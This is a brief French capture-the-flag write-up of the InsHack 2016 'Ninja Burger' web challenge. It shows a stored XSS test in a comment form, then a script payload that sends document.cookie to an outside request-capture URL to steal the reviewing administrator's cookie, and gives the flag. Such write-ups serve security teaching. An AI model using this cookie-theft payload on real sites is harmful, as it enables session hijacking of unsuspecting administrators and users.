**WEB 100 - Ninja Burger**

Le challenge est un site web , qui nous montre des photos de ninja.

{{ :ctf:2016:inshack:ninja-burger_web.png?nolink |}}

Le but est de faire voter les personnes pour le ninja qu'ils préfèrent.

Sur le bas du site un formulaire est mit à disposition pour laisser des commentaires.

Deux champs sont disponibles :

- Nom

- Commentaire

Premier test :

Tester les XSS dans le champ commentaire 

<code> <script>alert('XSS_de_la_mort')</script> </code>

Génial sa fonctionne :

{{ :ctf:2016:inshack:ninja_burger.png?nolink |}}

Chaque message est validé par un administrateur.

Du coup nous récupérons le cookie de l'administrateur :

<code><script>window.open("http://requestb.in/yxmhd6yx?cookie="+document.cookie)</script></code>

Après quelques (longues) minutes nous obtenons le cookie 

{{ :ctf:2016:inshack:ninja_burger2.png?nolink |}}

Hop le flag : FLAG{x5S ar3 fUn ! Us3 at Least HtTpONLY cooKiES}